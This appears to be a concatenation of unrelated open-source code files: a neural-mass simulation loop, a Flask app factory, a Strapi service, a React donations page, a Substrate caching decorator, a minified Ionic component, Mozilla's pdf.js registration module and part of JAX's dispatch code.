np.random.standard_normal((N, len(t))) excs[:, :startind] = exc_init inh_ss[:, :startind] = inh_s_init inh_ds[:, :startind] = inh_d_init noise_exc = np.zeros((N,)) noise_inh_s = np.zeros((N,)) noise_inh_d = np.zeros((N,)) # ------------------------------------------------------------------------ return timeIntegration_njit_elementwise( startind, t, dt, sqrt_dt, N, Cmat, K_gl, Dmat_ndt, excs, inh_ss, inh_ds, exc_input_d, inh_s_input_d, inh_d_input_d, exc_ext, inh_s_ext, inh_d_ext, tau_exc, tau_inh_s, tau_inh_d, w1, w2, w3, w4, w5, w6, w7, alpha_exc, alpha_inh_s, alpha_inh_d, theta_exc, theta_inh_s, theta_inh_d, q, noise_exc, noise_inh_s, noise_inh_d, exc_ou, inh_s_ou, inh_d_ou, exc_ou_mean, inh_s_ou_mean, inh_d_ou_mean, tau_ou, sigma_ou, ) @numba.njit def timeIntegration_njit_elementwise( startind, t, dt, sqrt_dt, N, Cmat, K_gl, Dmat_ndt, excs, inh_ss, inh_ds, exc_input_d, inh_s_input_d, inh_d_input_d, exc_ext, inh_s_ext, inh_d_ext, tau_exc, tau_inh_s, tau_inh_d, w1, w2, w3, w4, w5, w6, w7, alpha_exc, alpha_inh_s, alpha_inh_d, theta_exc, theta_inh_s, theta_inh_d, q, noise_exc, noise_inh_s, noise_inh_d, exc_ou, inh_s_ou, inh_d_ou, exc_ou_mean, inh_s_ou_mean, inh_d_ou_mean, tau_ou, sigma_ou, ): ### integrate ODE system: def F_exc(x, Theta, A): return (alpha_exc/(alpha_exc+q*A))*((1/(1+np.exp(-alpha_exc*(x-(theta_exc+Theta+(1-q)*A))))) -(1/(1+np.exp(alpha_exc*theta_exc)))) def F_inh_s(x, Theta, A): return (alpha_inh_s/(alpha_inh_s+q*A))*((1/(1+np.exp(-alpha_inh_s*(x-(theta_inh_s+Theta+(1-q)*A))))) -(1/(1+np.exp(alpha_inh_s*theta_inh_s)))) def F_inh_d(x, Theta, A): return (alpha_inh_d/(alpha_inh_d+q*A))*((1/(1+np.exp(-alpha_inh_d*(x-(theta_inh_d+Theta+(1-q)*A))))) -(1/(1+np.exp(alpha_inh_d*theta_inh_d)))) k_exc = np.exp(alpha_exc)/(1+np.exp(alpha_exc)) k_inh_s = np.exp(alpha_inh_s)/(1+np.exp(alpha_inh_s)) k_inh_d = np.exp(alpha_inh_d)/(1+np.exp(alpha_inh_d)) for i in range(startind, startind + len(t)): # loop through all the nodes for no in range(N): # To save memory, noise is saved in the activity array noise_exc[no] = excs[no, i] noise_inh_s[no] = inh_ss[no, i] noise_inh_d[no] = inh_ds[no, i] # delayed input to each node exc_input_d[no] = 0 for l in range(N): exc_input_d[no] += K_gl * Cmat[no, l] * (excs[l, i - Dmat_ndt[no, l] - 1]) # subtractive/divisive Wilson-Cowan model exc_rhs = ( 1/tau_exc*(-excs[no, i - 1]+(k_exc-excs[no, i - 1])*F_exc(w1*excs[no, i - 1]+exc_ext[no], w2*inh_ds[no,i-1],w3*inh_ss[no,i-1])) + exc_ou[no] + exc_input_d[no]) inh_s_rhs = ( 1/tau_inh_s*(-inh_ss[no, i - 1]+(k_inh_s-inh_ss[no, i - 1])*F_inh_s(w5*excs[no, i - 1]+inh_s_ext[no], w6*inh_ds[no,i-1]+w7*inh_ss[no,i-1],0)) + inh_s_ou[no]) inh_d_rhs = ( 1/tau_inh_d*(-inh_ds[no, i - 1]+(k_inh_d-inh_ds[no, i - 1])*F_inh_d(w4*excs[no, i - 1]+inh_d_ext[no],0,0)) + inh_d_ou[no]) # Euler integration excs[no, i] = excs[no, i - 1] + dt * exc_rhs inh_ss[no, i] = inh_ss[no, i - 1] + dt * inh_s_rhs inh_ds[no, i] = inh_ds[no, i - 1] + dt * inh_d_rhs # Ornstein-Uhlenbeck process exc_ou[no] = exc_ou[no] + (exc_ou_mean - exc_ou[no]) * dt / tau_ou + sigma_ou * sqrt_dt * noise_exc[no] # mV/ms inh_s_ou[no] = inh_s_ou[no] + (inh_s_ou_mean - inh_s_ou[no]) * dt / tau_ou + \ sigma_ou * sqrt_dt * noise_inh_s[no] # mV/ms inh_d_ou[no] = inh_d_ou[no] + (inh_d_ou_mean - inh_d_ou[no]) * dt / tau_ou + \ sigma_ou * sqrt_dt * noise_inh_d[no] # mV/ms return t, excs, inh_ss, inh_ds, exc_ou, inh_s_ou, inh_d_ou
# app/__init__.py import os import secrets # third-party imports from flask import Flask, render_template from flask_bcrypt import Bcrypt from flask_login import LoginManager from flask_mail import Mail from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate # local imports from blog.config import app_config # variables initialization db = SQLAlchemy() bcrypt = Bcrypt() mail = Mail() # login_manger variable initialization login_manager = LoginManager() login_manager.login_view = 'auth.login_page' login_manager.login_message_category = 'info' def create_app(config_name): app = Flask(__name__) app.config.from_object(app_config[config_name]) from blog.models.user import UserModel from blog.models.category import CategoryModel from blog.models.post import PostModel bcrypt.init_app(app) db.init_app(app) login_manager.init_app(app) mail.init_app(app) migrate = Migrate(app, db) # import and register blueprints from .admin import admin as admin_blueprint app.register_blueprint(admin_blueprint, url_prefix='/admin') from .auth import auth as auth_blueprint app.register_blueprint(auth_blueprint) from .home import home as home_blueprint app.register_blueprint(home_blueprint) from .errors import errors as errors_blueprint app.register_blueprint(errors_blueprint) return app
'use strict'; /** * collection28 service. */ const { createCoreService } = require('@strapi/strapi').factories; module.exports = createCoreService('api::collection28.collection28');
import React, { useState, useEffect } from 'react'; import Categories from '../modules/Categories'; import BlackText from '../../text/BlackText'; import { Grid } from '@kiwicom/orbit-components/lib'; import { DONATIONS_BATCH_SIZE } from '@api/constants'; import styled, { css } from 'styled-components'; import media from '@kiwicom/orbit-components/lib/utils/mediaQuery'; import { InstantSearch, Configure, connectInfiniteHits } from 'react-instantsearch-dom'; import DonationsHitWrapper from '../modules/DonationsHitWrapper'; import { getByCategoryIdAndStatus } from '@utils/algolia/filteringRules'; import { donationsSortByRule } from '@utils/algolia/sortByRules'; import dynamic from 'next/dynamic'; import useUser from '@components/session/modules/useUser'; import { searchClient } from '@utils/algolia'; import { MaxWidthContainer } from '@components/containers'; const DonationsSortFilterPanel = dynamic(() => import('../modules/DonationsSortFilterPanel'), { ssr: false, }); const DonationsInfiniteHit = connectInfiniteHits(DonationsHitWrapper); const ViewCategoryContainer = styled(MaxWidthContainer)` margin-top: 25px; margin-bottom: 40px; `; const DonationsContainer = styled.div` width: fit-content; margin: 0 auto; ${media.largeMobile(css` margin: 0; width: 100%; `)} `; const GridSectionContainer = styled.div` margin-top: 20px; `; const ViewCategoryPage = ({ categoryDetails, sortByQuery }) => { const user = useUser(); const category = categoryDetails; const [sortBy, setSortBy] = useState(sortByQuery ? sortByQuery : donationsSortByRule().defaultRefinement); const [latLngFilter, setLatLngFilter] = useState(''); const onLatLngUpdated = (latLng) => { setLatLngFilter(latLng); }; return ( <InstantSearch searchClient={searchClient} indexName="donations"> <ViewCategoryContainer> <Categories type="donations" /> <Grid columnGap="20px" desktop={{ columns: '1fr 6fr', }} rows="1fr auto" > <GridSectionContainer> <DonationsSortFilterPanel sortItems={donationsSortByRule().items} sortDefaultRefinement={sortBy} category={category} onLatLngUpdated={onLatLngUpdated} /> </GridSectionContainer> <GridSectionContainer> <BlackText style={{ marginBottom: '10px' }} size="large"> {category.name} </BlackText> {/* Algolia */} <Configure filters={getByCategoryIdAndStatus(category.id, 'pending')} hitsPerPage={DONATIONS_BATCH_SIZE} aroundLatLng={latLngFilter} aroundRadius={10000} enablePersonalization={true} userToken={user?.userId} clickAnalytics={true} /> <DonationsContainer> {/* Desktop,Tablet,Mobile has infinite scrolling */} <DonationsInfiniteHit category={category} minHitsPerPage={DONATIONS_BATCH_SIZE} /> </DonationsContainer> </GridSectionContainer> </Grid> </ViewCategoryContainer> </InstantSearch> ); }; export default ViewCategoryPage;
# Python Substrate Interface Library # # Copyright 2018-2021 Stichting Polkascan (Polkascan Foundation). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from functools import lru_cache def block_dependent_lru_cache(maxsize=10, typed=False, block_arg_index=None): def decorator(f): cached_func = lru_cache(maxsize=maxsize, typed=typed)(f) def wrapper(*args, **kwargs): use_cache = False if block_arg_index is not None: if len(args) > block_arg_index and args[block_arg_index] is not None: use_cache = True if kwargs.get('block_hash') is not None or kwargs.get('block_id') is not None: use_cache = True if use_cache: return cached_func(*args, **kwargs) else: return f(*args, **kwargs) return wrapper return decorator
var __awaiter=this&&this.__awaiter||function(e,t,n,r){return new(n||(n=Promise))(function(o,i){function u(e){try{l(r.next(e))}catch(e){i(e)}}function a(e){try{l(r.throw(e))}catch(e){i(e)}}function l(e){e.done?o(e.value):new n(function(t){t(e.value)}).then(u,a)}l((r=r.apply(e,t||[])).next())})},__generator=this&&this.__generator||function(e,t){var n,r,o,i,u={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function a(i){return function(a){return function(i){if(n)throw new TypeError("Generator is already executing.");for(;u;)try{if(n=1,r&&(o=2&i[0]?r.return:i[0]?r.throw||((o=r.return)&&o.call(r),0):r.next)&&!(o=o.call(r,i[1])).done)return o;switch(r=0,o&&(i=[2&i[0],o.value]),i[0]){case 0:case 1:o=i;break;case 4:return u.label++,{value:i[1],done:!1};case 5:u.label++,r=i[1],i=[0];continue;case 7:i=u.ops.pop(),u.trys.pop();continue;default:if(!(o=(o=u.trys).length>0&&o[o.length-1])&&(6===i[0]||2===i[0])){u=0;continue}if(3===i[0]&&(!o||i[1]>o[0]&&i[1]<o[3])){u.label=i[1];break}if(6===i[0]&&u.label<o[1]){u.label=o[1],o=i;break}if(o&&u.label<o[2]){u.label=o[2],u.ops.push(i);break}o[2]&&u.ops.pop(),u.trys.pop();continue}i=t.call(e,u)}catch(e){i=[6,e],r=0}finally{n=o=0}if(5&i[0])throw i[1];return{value:i[0]?i[1]:void 0,done:!0}}([i,a])}}};Ionic.loadBundle("tlmwejgj",["exports"],function(e){window;var t=function(){function e(){this.type="bounded"}return e.prototype.addRipple=function(e,t){return __awaiter(this,void 0,void 0,function(){var o=this;return __generator(this,function(i){return[2,new Promise(function(i){o.queue.read(function(){var u=o.el.getBoundingClientRect(),a=u.width,l=u.height,c=Math.sqrt(a*a+l*l),f=Math.max(l,a),p=o.unbounded?f:c+n,d=Math.floor(f*r),s=p/d,h=e-u.left,b=t-u.top;o.unbounded&&(h=.5*a,b=.5*l);var y=h-.5*d,w=b-.5*d,g=.5*a-h,v=.5*l-b;o.queue.write(function(){var e=o.win.document.createElement("div");e.classList.add("ripple-effect");var t=e.style;t.top=w+"px",t.left=y+"px",t.width=t.height=d+"px",t.setProperty("--final-scale",""+s),t.setProperty("--translate-end",g+"px, "+v+"px"),(o.el.shadowRoot||o.el).appendChild(e),setTimeout(function(){i(function(){var t;(t=e).classList.add("fade-out"),setTimeout(function(){t.remove()},200)})},325)})})})]})})},Object.defineProperty(e.prototype,"unbounded",{get:function(){return"unbounded"===this.type},enumerable:!0,configurable:!0}),e.prototype.hostData=function(){return{role:"presentation",class:{unbounded:this.unbounded}}},Object.defineProperty(e,"is",{get:function(){return"ion-ripple-effect"},enumerable:!0,configurable:!0}),Object.defineProperty(e,"encapsulation",{get:function(){return"shadow"},enumerable:!0,configurable:!0}),Object.defineProperty(e,"properties",{get:function(){return{addRipple:{method:!0},el:{elementRef:!0},queue:{context:"queue"},type:{type:String,attr:"type"},win:{context:"window"}}},enumerable:!0,configurable:!0}),Object.defineProperty(e,"style",{get:function(){return".sc-ion-ripple-effect-h{left:0;right:0;top:0;bottom:0;position:absolute;contain:strict}.unbounded.sc-ion-ripple-effect-h{contain:layout size style}.ripple-effect.sc-ion-ripple-effect{border-radius:50%;position:absolute;background-color:currentColor;color:inherit;contain:strict;opacity:0;-webkit-animation:rippleAnimation 225ms forwards,fadeInAnimation 75ms forwards;animation:rippleAnimation 225ms forwards,fadeInAnimation 75ms forwards;will-change:transform,opacity;pointer-events:none}.fade-out.sc-ion-ripple-effect{-webkit-transform:translate(var(--translate-end)) scale(var(--final-scale,1));transform:translate(var(--translate-end)) scale(var(--final-scale,1));-webkit-animation:fadeOutAnimation .15s forwards;animation:fadeOutAnimation .15s forwards}\@-webkit-keyframes rippleAnimation{0%{-webkit-animation-timing-function:cubic-bezier(.4,0,.2,1);animation-timing-function:cubic-bezier(.4,0,.2,1);-webkit-transform:scale(1);transform:scale(1)}to{-webkit-transform:translate(var(--translate-end)) scale(var(--final-scale,1));transform:translate(var(--translate-end)) scale(var(--final-scale,1))}}\@keyframes rippleAnimation{0%{-webkit-animation-timing-function:cubic-bezier(.4,0,.2,1);animation-timing-function:cubic-bezier(.4,0,.2,1);-webkit-transform:scale(1);transform:scale(1)}to{-webkit-transform:translate(var(--translate-end)) scale(var(--final-scale,1));transform:translate(var(--translate-end)) scale(var(--final-scale,1))}}\@-webkit-keyframes fadeInAnimation{0%{-webkit-animation-timing-function:linear;animation-timing-function:linear;opacity:0}to{opacity:.16}}\@keyframes fadeInAnimation{0%{-webkit-animation-timing-function:linear;animation-timing-function:linear;opacity:0}to{opacity:.16}}\@-webkit-keyframes fadeOutAnimation{0%{-webkit-animation-timing-function:linear;animation-timing-function:linear;opacity:.16}to{opacity:0}}\@keyframes fadeOutAnimation{0%{-webkit-animation-timing-function:linear;animation-timing-function:linear;opacity:.16}to{opacity:0}}"},enumerable:!0,configurable:!0}),e}(),n=10,r=.5;e.IonRippleEffect=t,Object.defineProperty(e,"__esModule",{value:!0})});
/* -*- Mode: Java; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* vim: set shiftwidth=2 tabstop=2 autoindent cindent expandtab: */ /* Copyright 2012 Mozilla Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* jshint esnext:true */ /* globals Components, Services, XPCOMUtils, PdfjsChromeUtils, PdfRedirector, PdfjsContentUtils, DEFAULT_PREFERENCES, PdfStreamConverter */ 'use strict'; var EXPORTED_SYMBOLS = ['PdfJs']; const Cc = Components.classes; const Ci = Components.interfaces; const Cr = Components.results; const Cm = Components.manager; const Cu = Components.utils; const PREF_PREFIX = 'pdfjs'; const PREF_DISABLED = PREF_PREFIX + '.disabled'; const PREF_MIGRATION_VERSION = PREF_PREFIX + '.migrationVersion'; const PREF_PREVIOUS_ACTION = PREF_PREFIX + '.previousHandler.preferredAction'; const PREF_PREVIOUS_ASK = PREF_PREFIX + '.previousHandler.alwaysAskBeforeHandling'; const PREF_DISABLED_PLUGIN_TYPES = 'plugin.disable_full_page_plugin_for_types'; const TOPIC_PDFJS_HANDLER_CHANGED = 'pdfjs:handlerChanged'; const TOPIC_PLUGINS_LIST_UPDATED = 'plugins-list-updated'; const TOPIC_PLUGIN_INFO_UPDATED = 'plugin-info-updated'; const PDF_CONTENT_TYPE = 'application/pdf'; Cu.import('resource://gre/modules/XPCOMUtils.jsm'); Cu.import('resource://gre/modules/Services.jsm'); let Svc = {}; XPCOMUtils.defineLazyServiceGetter(Svc, 'mime', '@mozilla.org/mime;1', 'nsIMIMEService'); XPCOMUtils.defineLazyServiceGetter(Svc, 'pluginHost', '@mozilla.org/plugin/host;1', 'nsIPluginHost'); XPCOMUtils.defineLazyModuleGetter(this, 'PdfjsChromeUtils', 'resource://pdf.js/PdfjsChromeUtils.jsm'); XPCOMUtils.defineLazyModuleGetter(this, 'PdfjsContentUtils', 'resource://pdf.js/PdfjsContentUtils.jsm'); function getBoolPref(aPref, aDefaultValue) { try { return Services.prefs.getBoolPref(aPref); } catch (ex) { return aDefaultValue; } } function getIntPref(aPref, aDefaultValue) { try { return Services.prefs.getIntPref(aPref); } catch (ex) { return aDefaultValue; } } function isDefaultHandler() { if (Services.appinfo.processType === Services.appinfo.PROCESS_TYPE_CONTENT) { return PdfjsContentUtils.isDefaultHandlerApp(); } return PdfjsChromeUtils.isDefaultHandlerApp(); } function initializeDefaultPreferences() { //#include ../../../web/default_preferences.js var defaultBranch = Services.prefs.getDefaultBranch(PREF_PREFIX + '.'); var defaultValue; for (var key in DEFAULT_PREFERENCES) { defaultValue = DEFAULT_PREFERENCES[key]; switch (typeof defaultValue) { case 'boolean': defaultBranch.setBoolPref(key, defaultValue); break; case 'number': defaultBranch.setIntPref(key, defaultValue); break; case 'string': defaultBranch.setCharPref(key, defaultValue); break; } } } // Register/unregister a constructor as a factory. function Factory() {} Factory.prototype = { register: function register(targetConstructor) { var proto = targetConstructor.prototype; this._classID = proto.classID; var factory = XPCOMUtils._getFactory(targetConstructor); this._factory = factory; var registrar = Cm.QueryInterface(Ci.nsIComponentRegistrar); registrar.registerFactory(proto.classID, proto.classDescription, proto.contractID, factory); }, unregister: function unregister() { var registrar = Cm.QueryInterface(Ci.nsIComponentRegistrar); registrar.unregisterFactory(this._classID, this._factory); this._factory = null; } }; let PdfJs = { QueryInterface: XPCOMUtils.generateQI([Ci.nsIObserver]), _registered: false, _initialized: false, init: function init(remote) { if (Services.appinfo.processType !== Services.appinfo.PROCESS_TYPE_DEFAULT) { throw new Error('PdfJs.init should only get called ' + 'in the parent process.'); } PdfjsChromeUtils.init(); if (!remote) { PdfjsContentUtils.init(); } this.initPrefs(); this.updateRegistration(); }, initPrefs: function initPrefs() { if (this._initialized) { return; } this._initialized = true; if (!getBoolPref(PREF_DISABLED, true)) { this._migrate(); } // Listen for when pdf.js is completely disabled or a different pdf handler // is chosen. Services.prefs.addObserver(PREF_DISABLED, this, false); Services.prefs.addObserver(PREF_DISABLED_PLUGIN_TYPES, this, false); Services.obs.addObserver(this, TOPIC_PDFJS_HANDLER_CHANGED, false); Services.obs.addObserver(this, TOPIC_PLUGINS_LIST_UPDATED, false); Services.obs.addObserver(this, TOPIC_PLUGIN_INFO_UPDATED, false); initializeDefaultPreferences(); }, updateRegistration: function updateRegistration() { if (this.enabled) { this._ensureRegistered(); } else { this._ensureUnregistered(); } }, uninit: function uninit() { if (this._initialized) { Services.prefs.removeObserver(PREF_DISABLED, this, false); Services.prefs.removeObserver(PREF_DISABLED_PLUGIN_TYPES, this, false); Services.obs.removeObserver(this, TOPIC_PDFJS_HANDLER_CHANGED, false); Services.obs.removeObserver(this, TOPIC_PLUGINS_LIST_UPDATED, false); Services.obs.removeObserver(this, TOPIC_PLUGIN_INFO_UPDATED, false); this._initialized = false; } this._ensureUnregistered(); }, _migrate: function migrate() { const VERSION = 2; var currentVersion = getIntPref(PREF_MIGRATION_VERSION, 0); if (currentVersion >= VERSION) { return; } // Make pdf.js the default pdf viewer on the first migration. if (currentVersion < 1) { this._becomeHandler(); } if (currentVersion < 2) { // cleaning up of unused database preference (see #3994) Services.prefs.clearUserPref(PREF_PREFIX + '.database'); } Services.prefs.setIntPref(PREF_MIGRATION_VERSION, VERSION); }, _becomeHandler: function _becomeHandler() { let handlerInfo = Svc.mime.getFromTypeAndExtension(PDF_CONTENT_TYPE, 'pdf'); let prefs = Services.prefs; if (handlerInfo.preferredAction !== Ci.nsIHandlerInfo.handleInternally && handlerInfo.preferredAction !== false) { // Store the previous settings of preferredAction and // alwaysAskBeforeHandling in case we need to revert them in a hotfix that // would turn pdf.js off. prefs.setIntPref(PREF_PREVIOUS_ACTION, handlerInfo.preferredAction); prefs.setBoolPref(PREF_PREVIOUS_ASK, handlerInfo.alwaysAskBeforeHandling); } let handlerService = Cc['@mozilla.org/uriloader/handler-service;1']. getService(Ci.nsIHandlerService); // Change and save mime handler settings. handlerInfo.alwaysAskBeforeHandling = false; handlerInfo.preferredAction = Ci.nsIHandlerInfo.handleInternally; handlerService.store(handlerInfo); // Also disable any plugins for pdfs. var stringTypes = ''; var types = []; if (prefs.prefHasUserValue(PREF_DISABLED_PLUGIN_TYPES)) { stringTypes = prefs.getCharPref(PREF_DISABLED_PLUGIN_TYPES); } if (stringTypes !== '') { types = stringTypes.split(','); } if (types.indexOf(PDF_CONTENT_TYPE) === -1) { types.push(PDF_CONTENT_TYPE); } prefs.setCharPref(PREF_DISABLED_PLUGIN_TYPES, types.join(',')); // Update the category manager in case the plugins are already loaded. let categoryManager = Cc['@mozilla.org/categorymanager;1']; categoryManager.getService(Ci.nsICategoryManager). deleteCategoryEntry('Gecko-Content-Viewers', PDF_CONTENT_TYPE, false); }, // nsIObserver observe: function observe(aSubject, aTopic, aData) { this.updateRegistration(); if (Services.appinfo.processType === Services.appinfo.PROCESS_TYPE_DEFAULT) { let jsm = 'resource://pdf.js/PdfjsChromeUtils.jsm'; let PdfjsChromeUtils = Components.utils.import(jsm, {}).PdfjsChromeUtils; PdfjsChromeUtils.notifyChildOfSettingsChange(); } }, /** * pdf.js is only enabled if it is both selected as the pdf viewer and if the * global switch enabling it is true. * @return {boolean} Wether or not it's enabled. */ get enabled() { var disabled = getBoolPref(PREF_DISABLED, true); if (disabled) { return false; } // Check if the 'application/pdf' preview handler is configured properly. if (!isDefaultHandler()) { return false; } // Check if we have disabled plugin handling of 'application/pdf' in prefs if (Services.prefs.prefHasUserValue(PREF_DISABLED_PLUGIN_TYPES)) { let disabledPluginTypes = Services.prefs.getCharPref(PREF_DISABLED_PLUGIN_TYPES).split(','); if (disabledPluginTypes.indexOf(PDF_CONTENT_TYPE) >= 0) { return true; } } // Check if there is an enabled pdf plugin. // Note: this check is performed last because getPluginTags() triggers // costly plugin list initialization (bug 881575) let tags = Cc['@mozilla.org/plugin/host;1']. getService(Ci.nsIPluginHost). getPluginTags(); let enabledPluginFound = tags.some(function(tag) { if (tag.disabled) { return false; } let mimeTypes = tag.getMimeTypes(); return mimeTypes.some(function(mimeType) { return mimeType === PDF_CONTENT_TYPE; }); }); // Use pdf.js if pdf plugin is not present or disabled return !enabledPluginFound; }, _ensureRegistered: function _ensureRegistered() { if (this._registered) { return; } this._pdfStreamConverterFactory = new Factory(); Cu.import('resource://pdf.js/PdfStreamConverter.jsm'); this._pdfStreamConverterFactory.register(PdfStreamConverter); this._pdfRedirectorFactory = new Factory(); Cu.import('resource://pdf.js/PdfRedirector.jsm'); this._pdfRedirectorFactory.register(PdfRedirector); Svc.pluginHost.registerPlayPreviewMimeType(PDF_CONTENT_TYPE, true, 'data:application/x-moz-playpreview-pdfjs;,'); this._registered = true; }, _ensureUnregistered: function _ensureUnregistered() { if (!this._registered) { return; } this._pdfStreamConverterFactory.unregister(); Cu.unload('resource://pdf.js/PdfStreamConverter.jsm'); delete this._pdfStreamConverterFactory; this._pdfRedirectorFactory.unregister(); Cu.unload('resource://pdf.js/PdfRedirector.jsm'); delete this._pdfRedirectorFactory; Svc.pluginHost.unregisterPlayPreviewMimeType(PDF_CONTENT_TYPE); this._registered = false; } };
# Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Primitive dispatch and jit dispatch. import contextlib from functools import partial import itertools import time from typing import ( Any, Callable, Dict, Optional, Sequence, Set, Tuple, Type, Union) from typing_extensions import Protocol import os import re import warnings from absl import logging import numpy as np from jax import core from jax import linear_util as lu import jax.interpreters.ad as ad import jax.interpreters.batching as batching import jax.interpreters.masking as masking import jax.interpreters.mlir as mlir import jax.interpreters.xla as xla import jax.interpreters.partial_eval as pe from jax.errors import UnexpectedTracerError from jax._src.abstract_arrays import array_types from jax._src.config import config, flags from jax._src import device_array from jax._src import dtypes from jax._src import profiler from jax._src.lib.mlir import ir from jax._src.lib import xla_bridge as xb from jax._src.lib import xla_client as xc import jax._src.util as util from jax._src import traceback_util FLAGS = flags.FLAGS flags.DEFINE_string( 'jax_dump_ir_to', os.getenv('JAX_DUMP_IR_TO', ''), help="Path to which HLO/MHLO IR that is emitted by JAX as input to the " "compiler should be dumped as text files. Optional. If omitted, JAX " "will not dump IR.") traceback_util.register_exclusion(__file__) MYPY = False # Are we currently type checking with mypy? xe = xc._xla Backend = xe.Client Device = xc.Device Buffer = xe.Buffer XlaExecutable = xc.Executable map, unsafe_map = util.safe_map, map zip, unsafe_zip = util.safe_zip, zip # This flag is set on exit; no logging should be attempted _on_exit = False ### op-by-op execution ArgSpec = Tuple[core.AbstractValue, Optional[Device]] def arg_spec(x: Any) -> ArgSpec: aval = xla.abstractify(x) try: return aval, x._device except: return aval, None def apply_primitive(prim, *args, **params): """Impl rule that compiles and runs a single primitive 'prim' using XLA.""" compiled_fun = xla_primitive_callable(prim, *unsafe_map(arg_spec, args), **params) return compiled_fun(*args) # TODO(phawkins): update code referring to xla.apply_primitive to point here. xla.apply_primitive = apply_primitive @util.cache() def xla_primitive_callable(prim, *arg_specs: ArgSpec, **params): avals, arg_devices = util.unzip2(arg_specs) donated_invars = (False,) * len(arg_specs) device = _device_from_arg_devices(arg_devices) def prim_fun(*args): out = prim.bind(*args, **params) if prim.multiple_results: return out else: return out, compiled = _xla_callable_uncached(lu.wrap_init(prim_fun), device, None, prim.name, donated_invars, *arg_specs) if not prim.multiple_results: return lambda *args, **kw: compiled(*args, **kw)[0] else: return compiled def _device_from_arg_devices(devices: Sequence[Optional[Device]]) -> Optional[Device]: """Given devices of inputs, determine where to perform a computation. Args: devices: list where each element is a either a `Device` instance or `None`. Returns: A `Device` instance or None. Raises: ValueError if input devices are inconsistent. """ try: device, = {d for d in devices if d is not None} or (None,) return device except ValueError as err: msg = "primitive arguments must be colocated on the same device, got {}" raise ValueError(msg.format(", ".join(map(str, devices)))) from err # JIT execution def _xla_call_impl(fun: lu.WrappedFun, *args, device, backend, name, donated_invars, inline): del inline # Only used at tracing time compiled_fun = _xla_callable(fun, device, backend, name, donated_invars, *unsafe_map(arg_spec, args)) try: out = compiled_fun(*args) except FloatingPointError: assert config.jax_debug_nans or config.jax_debug_infs # compiled_fun can only raise in this case print("Invalid value encountered in the output of a jit/pmap-ed function. " "Calling the de-optimized version.") # We want to run the wrapped function again (after _xla_callable already ran # it), but linear_util.WrappedFun instances are meant to be run only once. # In addition to re-executing the Python code, which is usually undesirable # but which config.jax_debug_nans is meant to opt into, we'll be re-executing # any linear_util.py-style side effects, i.e. re-populating Stores created # by any transformation_with_aux's applied to fun. Since this is # intentional here, to avoid "Store occupied" errors we clone the WrappedFun # with empty stores. stores = [lu.Store() for _ in fun.stores] clone = lu.WrappedFun(fun.f, fun.transforms, stores, fun.params) with core.new_sublevel(): _ = clone.call_wrapped(*args) # probably won't return return out xla.xla_call_p.def_impl(_xla_call_impl) def _xla_callable_uncached(fun: lu.WrappedFun, device, backend, name, donated_invars, *arg_specs): return lower_xla_callable(fun, device, backend, name, donated_invars, *arg_specs).compile().unsafe_call _xla_callable = lu.cache(_xla_callable_uncached) @contextlib.contextmanager def log_elapsed_time(fmt: str): if _on_exit: yield else: log_priority = logging.WARNING if config.jax_log_compiles else logging.DEBUG start_time = time.time() yield elapsed_time = time.time() - start_time logging.log(log_priority, fmt.format(elapsed_time=elapsed_time)) @profiler.annotate_function def lower_xla_callable(fun: lu.WrappedFun, device, backend, name, donated_invars, *arg_specs): if device is not None and backend is not None: raise ValueError("can't specify both a device and a backend for jit, " "got device={} and backend={}".format(device, backend)) abstract_args, arg_devices = util.unzip2(arg_specs) with log_elapsed_time(f"Finished tracing + transforming {fun.__name__} " "for jit in {elapsed_time} sec"): jaxpr, out_avals, consts = pe.trace_to_jaxpr_final( fun, abstract_args, pe.debug_info_final(fun, "jit")) if any(isinstance(c, core.Tracer) for c in consts): raise UnexpectedTracerError("Encountered an unexpected tracer.") jaxpr, kept_const_idx, kept_var_idx = _prune_unused_inputs(jaxpr) consts = [c for i, c in enumerate(consts) if i in kept_const_idx] pruned_arg_specs = (a for i, a in enumerate(arg_specs) if i in kept_var_idx) abstract_args, arg_devices = util.unzip2(pruned_arg_specs) donated_invars = [ x for i, x in enumerate(donated_invars) if i in kept_var_idx ] map(prefetch, itertools.chain(consts, jaxpr_literals(jaxpr))) jaxpr = apply_outfeed_rewriter(jaxpr) nreps = jaxpr_replicas(jaxpr) device = _xla_callable_device(nreps, backend, device, arg_devices) backend = xb.get_device_backend(device) if device else xb.get_backend(backend) # Computations that only produce constants and/or only rearrange their inputs, # which are often produced from partial evaluation, don't need compilation, # and don't need to evaluate their arguments. if not jaxpr.eqns: return XlaComputation( name, None, True, None, jaxpr=jaxpr, consts=consts, device=device, in_avals=abstract_args, out_avals=out_avals, kept_var_idx=kept_var_idx) if not _on_exit: log_priority = logging.WARNING if config.jax_log_compiles else logging.DEBUG if len(abstract_args) > 10: msg = f"Compiling {fun.__name__} ({id(fun)}) for {len(abstract_args)} args." else: msg = f"Compiling {fun.__name__} ({id(fun)} for args {abstract_args}." logging.log(log_priority, msg) if nreps > 1: warnings.warn( f"The jitted function {name} includes a pmap. Using " "jit-of-pmap can lead to inefficient data movement, as the outer jit " "does not preserve sharded data representations and instead collects " "input and output arrays onto a single device. " "Consider removing the outer jit unless you know what you're doing. " "See 